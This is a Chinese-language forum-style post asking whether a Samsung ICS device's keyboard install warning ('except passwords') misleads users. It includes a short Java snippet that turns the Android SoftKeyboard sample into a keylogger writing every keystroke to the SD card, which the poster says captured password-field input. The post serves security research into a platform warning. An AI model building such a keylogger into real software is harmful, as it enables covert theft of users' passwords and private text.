我一直在对 Android 自定义键盘的安全漏洞进行一些研究,并注意到一些有趣的事情。当我在我的 Sharp Aquos Gingerbread 手机上安装键盘时,它告诉我它“可能能够收集您输入的所有文本,包括密码”。但是,在我运行 ICS 的三星 Galaxy Tab 2 上,它显示“密码除外”。
我决定对此进行测试,并修改了 SoftKeyboard Android SDK 示例以包含一个键盘记录器,写入 SD 卡以使其更容易从其他应用程序访问:
public void onKey(int primaryCode, int[] keyCodes) {
String keypress = String.valueOf((char)primaryCode);
Log.d("Key Pressed",keypress);
try{
String SDCARD = Environment.getExternalStorageDirectory().getAbsolutePath();
String FILENAME = "keylogger.txt";
File outfile = new File(SDCARD+File.separator+FILENAME);
FileOutputStream fos = new FileOutputStream(outfile,true);
fos.write(keypress.getBytes());
fos.close();
}catch(Exception e) {
Log.d("EXCEPTION",e.getMessage());
}
而且我能够记录文本,即使在 HTML 密码字段中也是如此。
因此,我的 Galaxy Tab 上的消息似乎不正确/具有误导性。
这是所有 ICS 设备上的相同消息,还是三星更改了库存 Android 版本的消息?有人知道为什么在很容易登录时会显示“密码除外”吗?